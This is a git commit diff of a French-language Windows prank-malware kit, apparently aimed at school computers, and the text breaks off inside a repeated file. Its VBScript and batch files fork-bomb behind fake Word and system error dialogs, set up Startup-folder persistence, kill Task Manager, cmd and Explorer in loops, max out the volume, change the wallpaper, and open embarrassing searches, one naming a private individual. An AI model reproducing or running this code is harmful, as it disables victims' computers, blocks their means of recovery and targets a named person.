commit c661c0b8b357e1a1dc441e1274436b729183d7d2 Author: Yohan Boujon Date: Sun Mar 5 13:52:26 2017 +0100 Initial commit. diff --git a/Explorateur de fichiers.lnk b/Explorateur de fichiers.lnk new file mode 100755 index 0000000..4b2652f Binary files /dev/null and b/Explorateur de fichiers.lnk differ diff --git a/Google Chrome.lnk b/Google Chrome.lnk new file mode 100755 index 0000000..cea70ca Binary files /dev/null and b/Google Chrome.lnk differ diff --git a/Internet Explorer.lnk b/Internet Explorer.lnk new file mode 100755 index 0000000..98c2df2 Binary files /dev/null and b/Internet Explorer.lnk differ diff --git a/Intranet/Developper Mode/calculatrice virus test.bat b/Intranet/Developper Mode/calculatrice virus test.bat new file mode 100755 index 0000000..5aa2f85 --- /dev/null +++ b/Intranet/Developper Mode/calculatrice virus test.bat @@ -0,0 +1,5 @@ +@echo off +:main +start sol.exe +start calc.exe +goto :main \ No newline at end of file diff --git a/Intranet/Developper Mode/destruction.vbs.txt b/Intranet/Developper Mode/destruction.vbs.txt new file mode 100755 index 0000000..5fc3a16 --- /dev/null +++ b/Intranet/Developper Mode/destruction.vbs.txt @@ -0,0 +1,82 @@ +Sub Main() +result = MsgBox ("Word.exe have not been found in the right directory", vbCritical, "Word.exe à cessé de fonctionner") + +Select Case result +Case vbOk +Do +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +WScript.Sleep 5000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles%\7-Zip\7zFM.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """explorer.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """taskmgr.exe""" +Loop + +End Select +End Sub + +On Error Resume Next + Main + If Err.Number Then + WScript.Echo "Error on script" + WScript.Quit 4711 + End If \ No newline at end of file diff --git a/Intranet/Developper Mode/error.vbs..txt b/Intranet/Developper Mode/error.vbs..txt new file mode 100755 index 0000000..f4db02f --- /dev/null +++ b/Intranet/Developper Mode/error.vbs..txt @@ -0,0 +1,8 @@ +result = MsgBox ("The Windows Explorer Stopped Working :(", vbCritical, "Explorer.exe Stopped Working") + +Select Case result +Case vbOk +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "error.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/Developper Mode/firefox.vbs.txt b/Intranet/Developper Mode/firefox.vbs.txt new file mode 100755 index 0000000..13aed72 --- /dev/null +++ b/Intranet/Developper Mode/firefox.vbs.txt @@ -0,0 +1,48 @@ +result = MsgBox ("Est-tu sûr de vouloir utiliser Firefox, il n'est pas de bonne humeur ces temps-ci :/ ?", vbYesNo + vbCritical, "Le Renard à brûler le disque dur") + +Select Case result +Case vbYes +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "firefox.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "firefox.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "firefox.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "firefox.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "firefox.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "firefox.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "firefox.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "firefox.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """firefoxplus.vbx""" + +Case vbNo +MsgBox "Le Renard Brûle en ce moment, désolé, le virus va devoir revenir :(", vbInformation +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "firefox.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/Developper Mode/google.vbs.txt b/Intranet/Developper Mode/google.vbs.txt new file mode 100755 index 0000000..4cfb7f8 --- /dev/null +++ b/Intranet/Developper Mode/google.vbs.txt @@ -0,0 +1,46 @@ +result = MsgBox ("Nous savons que vous avez installé Google Chrome sans notre permissions, comptez vous le désinstaller ?", vbYesNo + vbCritical, "Message Des Informaticiens") + +Select Case result +Case vbNo +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "google.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "googleplus.vbs" + +Case vbYes +MsgBox "Bien, mais temps qu'il ne sera pas désinstaller, cette boite de dialogue reviendra", vbInformation +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "google.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/Developper Mode/internetexplorer.vbs.txt b/Intranet/Developper Mode/internetexplorer.vbs.txt new file mode 100755 index 0000000..76c7e32 --- /dev/null +++ b/Intranet/Developper Mode/internetexplorer.vbs.txt @@ -0,0 +1,46 @@ +result = MsgBox ("Est-tu sûr de vouloir utiliser Internet Explorer ?", vbYesNo + vbCritical, "InternetExplorer.exe à cessé de fonctionner") + +Select Case result +Case vbYes +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorerplus.vbs" + +Case vbNo +MsgBox "Ouf, j'ai eu peur, mais bon, je te laisse avec le mini-virus :)", vbInformation +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/Developper Mode/internetexplorerplus.vbs.txt b/Intranet/Developper Mode/internetexplorerplus.vbs.txt new file mode 100755 index 0000000..76c7e32 --- /dev/null +++ b/Intranet/Developper Mode/internetexplorerplus.vbs.txt @@ -0,0 +1,46 @@ +result = MsgBox ("Est-tu sûr de vouloir utiliser Internet Explorer ?", vbYesNo + vbCritical, "InternetExplorer.exe à cessé de fonctionner") + +Select Case result +Case vbYes +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorerplus.vbs" + +Case vbNo +MsgBox "Ouf, j'ai eu peur, mais bon, je te laisse avec le mini-virus :)", vbInformation +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "internetexplorer.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/Developper Mode/programme.bat b/Intranet/Developper Mode/programme.bat new file mode 100755 index 0000000..7c86663 --- /dev/null +++ b/Intranet/Developper Mode/programme.bat @@ -0,0 +1,5 @@ +@echo off +:main +start youareanidiot.exe +start internetexplorer.vbs +goto :main \ No newline at end of file diff --git a/Intranet/Developper Mode/programme.bat.txt b/Intranet/Developper Mode/programme.bat.txt new file mode 100755 index 0000000..ac8fb30 --- /dev/null +++ b/Intranet/Developper Mode/programme.bat.txt @@ -0,0 +1,5 @@ +@echo off +:main +start youareanidiot.exe +start calc.exe +goto :main \ No newline at end of file diff --git a/Intranet/Developper Mode/virus.vbs.txt b/Intranet/Developper Mode/virus.vbs.txt new file mode 100755 index 0000000..fa0e48a --- /dev/null +++ b/Intranet/Developper Mode/virus.vbs.txt @@ -0,0 +1,13 @@ +result = MsgBox ("An Error Occured at C:/", vbCritical, "system32.dll stopped working") + +Select Case result +Case vbOk +Do +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "error.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "error.vbs" +WScript.Sleep 10000 +Loop + +End Select \ No newline at end of file diff --git a/Intranet/Firefox.ico b/Intranet/Firefox.ico new file mode 100755 index 0000000..4be0e7d Binary files /dev/null and b/Intranet/Firefox.ico differ diff --git a/Intranet/Google Chrome.ico b/Intranet/Google Chrome.ico new file mode 100755 index 0000000..c20f73e Binary files /dev/null and b/Intranet/Google Chrome.ico differ diff --git a/Intranet/Install_Intranet_logo.ico b/Intranet/Install_Intranet_logo.ico new file mode 100755 index 0000000..91e02a5 Binary files /dev/null and b/Intranet/Install_Intranet_logo.ico differ diff --git a/Intranet/Internet Explorer.ico b/Intranet/Internet Explorer.ico new file mode 100755 index 0000000..1653b74 Binary files /dev/null and b/Intranet/Internet Explorer.ico differ diff --git a/Intranet/Startup Creator/startupie.bat b/Intranet/Startup Creator/startupie.bat new file mode 100755 index 0000000..8618c31 --- /dev/null +++ b/Intranet/Startup Creator/startupie.bat @@ -0,0 +1 @@ +xcopy /s /z /y "%userprofile%\Downloads\Internet Explorer.lnk" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\" \ No newline at end of file diff --git a/Intranet/Startup Creator/startupie.vbs b/Intranet/Startup Creator/startupie.vbs new file mode 100755 index 0000000..87a9946 --- /dev/null +++ b/Intranet/Startup Creator/startupie.vbs @@ -0,0 +1 @@ +CreateObject("Wscript.Shell").Run "startupie.bat",0,True diff --git a/Intranet/Startup Creator/startuptaskill.bat b/Intranet/Startup Creator/startuptaskill.bat new file mode 100755 index 0000000..52ab3b2 --- /dev/null +++ b/Intranet/Startup Creator/startuptaskill.bat @@ -0,0 +1 @@ +xcopy /z /y "%userprofile%\Downloads\Intranet\taskiller.vbs" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\" \ No newline at end of file diff --git a/Intranet/Startup Creator/startuptaskill.vbs b/Intranet/Startup Creator/startuptaskill.vbs new file mode 100755 index 0000000..70d1d6f --- /dev/null +++ b/Intranet/Startup Creator/startuptaskill.vbs @@ -0,0 +1 @@ +CreateObject("Wscript.Shell").Run """%userprofile%\Downloads\Intranet\Startup Creator\startuptaskill.bat""",0,True \ No newline at end of file diff --git a/Intranet/Uninstall_Intranet_logo.ico b/Intranet/Uninstall_Intranet_logo.ico new file mode 100755 index 0000000..3084a55 Binary files /dev/null and b/Intranet/Uninstall_Intranet_logo.ico differ diff --git a/Intranet/Word_Download/Scary Monsters and Nice Sprites midi Version.mp3 b/Intranet/Word_Download/Scary Monsters and Nice Sprites midi Version.mp3 new file mode 100755 index 0000000..96fc1e5 Binary files /dev/null and b/Intranet/Word_Download/Scary Monsters and Nice Sprites midi Version.mp3 differ diff --git a/Intranet/Word_Download/music.vbs b/Intranet/Word_Download/music.vbs new file mode 100755 index 0000000..a263769 Binary files /dev/null and b/Intranet/Word_Download/music.vbs differ diff --git a/Intranet/Word_Download/scary monsters and nice spirits midi.bmp b/Intranet/Word_Download/scary monsters and nice spirits midi.bmp new file mode 100755 index 0000000..106352d Binary files /dev/null and b/Intranet/Word_Download/scary monsters and nice spirits midi.bmp differ diff --git a/Intranet/Word_Download/scary monsters and nice spirits midi.jpg b/Intranet/Word_Download/scary monsters and nice spirits midi.jpg new file mode 100755 index 0000000..318176d Binary files /dev/null and b/Intranet/Word_Download/scary monsters and nice spirits midi.jpg differ diff --git a/Intranet/Word_Download/taskiller.bat b/Intranet/Word_Download/taskiller.bat new file mode 100755 index 0000000..d7bb82d --- /dev/null +++ b/Intranet/Word_Download/taskiller.bat @@ -0,0 +1,2 @@ +taskkill /f /im taskmgr.exe +taskkill /f /im cmd.exe \ No newline at end of file diff --git a/Intranet/Word_Download/taskiller.vbs b/Intranet/Word_Download/taskiller.vbs new file mode 100755 index 0000000..c02d6ba --- /dev/null +++ b/Intranet/Word_Download/taskiller.vbs @@ -0,0 +1,4 @@ +Do +CreateObject("Wscript.Shell").Run "taskiller.bat",0,True +WScript.Sleep 1000 +Loop \ No newline at end of file diff --git a/Intranet/Word_Download/volume.bat b/Intranet/Word_Download/volume.bat new file mode 100755 index 0000000..3760175 --- /dev/null +++ b/Intranet/Word_Download/volume.bat @@ -0,0 +1,15 @@ +@if (@a==@b) @end /* + +:: batch portion + +@ECHO OFF + +cscript /e:jscript "%~f0" + + +:: JScript portion */ + +var shl = new ActiveXObject("WScript.Shell"); +for (var i=0; i<50; i++) { + shl.SendKeys(String.fromCharCode(0xAF)); +} \ No newline at end of file diff --git a/Intranet/Word_Download/volume.vbs b/Intranet/Word_Download/volume.vbs new file mode 100755 index 0000000..714bac8 --- /dev/null +++ b/Intranet/Word_Download/volume.vbs @@ -0,0 +1,4 @@ +Do +CreateObject("Wscript.Shell").Run "volume.bat",0,True +WScript.Sleep 500 +Loop \ No newline at end of file diff --git a/Intranet/Word_Download/wallpaperchanger.vbs b/Intranet/Word_Download/wallpaperchanger.vbs new file mode 100755 index 0000000..5fd4764 --- /dev/null +++ b/Intranet/Word_Download/wallpaperchanger.vbs @@ -0,0 +1,15 @@ +Dim shell : Set shell = CreateObject("WScript.Shell") + +Dim wallpaper : wallpaper = "%userprofile%\Downloads\Intranet\Word_Download\scary monsters and nice spirits midi.bmp" + + + +shell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", wallpaper + +shell.RegWrite "HKCU\Control Panel\Desktop\Wallpaperstyle", 0 + +shell.RegWrite "HKCU\Control Panel\Desktop\tilewallpaper", 0 + + + +shell.Run "%SYSTEMROOT%\System32\rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True \ No newline at end of file diff --git a/Intranet/Word_Download/wallpaperchanger2.vbs b/Intranet/Word_Download/wallpaperchanger2.vbs new file mode 100755 index 0000000..049f146 --- /dev/null +++ b/Intranet/Word_Download/wallpaperchanger2.vbs @@ -0,0 +1,14 @@ +Option Explicit +dim wshShell, sUserName, oShell, oFSO, sWinDir +dim wp + +Set wshShell = WScript.CreateObject("WScript.Shell") +sUserName = wshShell.ExpandEnvironmentStrings("admin") +Set oShell = CreateObject("WScript.Shell") +Set oFSO = CreateObject("Scripting.FileSystemObject") + +sWinDir = oFSO.GetSpecialFolder(0) +wp(0) = """D:\Programmation\Intranet\Word_Download\scary monsters and nice spirits midi.bmp""" + +oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", wp(0) +oShell.Run "d:\WINDOWS\system32\rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True \ No newline at end of file diff --git a/Intranet/Word_Download/word.vbs b/Intranet/Word_Download/word.vbs new file mode 100755 index 0000000..facd47e --- /dev/null +++ b/Intranet/Word_Download/word.vbs @@ -0,0 +1,61 @@ +result = MsgBox ("Word n'a pas pu se fermer correctement la dernière fois", vbInformation, "Word.exe") + +Select Case result +Case vbOk + +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\taskiller.vbs" +WScript.Sleep 30000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\wallpaperchanger.vbs" +WScript.Sleep 5000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """http://www.windows93.net/""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=alzyohan+lo%C3%AFc" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=minecraft+hax+download+no+virus" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "http://www.pcoptimizerpro.com/" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "http://agar.io" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "https://www.youtube.com/channel/UCA6NH9d7e_T-pG84Pr_C7PA" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=no+man%27s+sky+c%27est+nul""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=comment+se+masturber+%3F""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=comment+hacker+les+pc+du+college""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=mael+letallec+instagram""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """https://www.youtube.com/channel/UCnsFagZgUXhZMC6HcX0OJxA""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "http://youareanidiot.org/" +WScript.Sleep 1000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\volume.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\music.vbs" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """http://clashroyale-gemme.com/""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """http://www.nyan.cat/""" + +End Select \ No newline at end of file diff --git a/Intranet/app killer/explorerkiller.bat b/Intranet/app killer/explorerkiller.bat new file mode 100755 index 0000000..72688bc --- /dev/null +++ b/Intranet/app killer/explorerkiller.bat @@ -0,0 +1,2 @@ +taskkill /f /IM explorer.exe + diff --git a/Intranet/cacatest.vbs b/Intranet/cacatest.vbs new file mode 100755 index 0000000..b230445 --- /dev/null +++ b/Intranet/cacatest.vbs @@ -0,0 +1,8 @@ +result = MsgBox ("lol, ceci est un test", vbInformation, "Test.exe") + +Select Case result +Case vbOk +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\app killer\explorerkiller.bat" + +End Select \ No newline at end of file diff --git a/Intranet/destruction.vbs b/Intranet/destruction.vbs new file mode 100755 index 0000000..5fc3a16 --- /dev/null +++ b/Intranet/destruction.vbs @@ -0,0 +1,82 @@ +Sub Main() +result = MsgBox ("Word.exe have not been found in the right directory", vbCritical, "Word.exe à cessé de fonctionner") + +Select Case result +Case vbOk +Do +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "destruction.vbs" +WScript.Sleep 5000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve 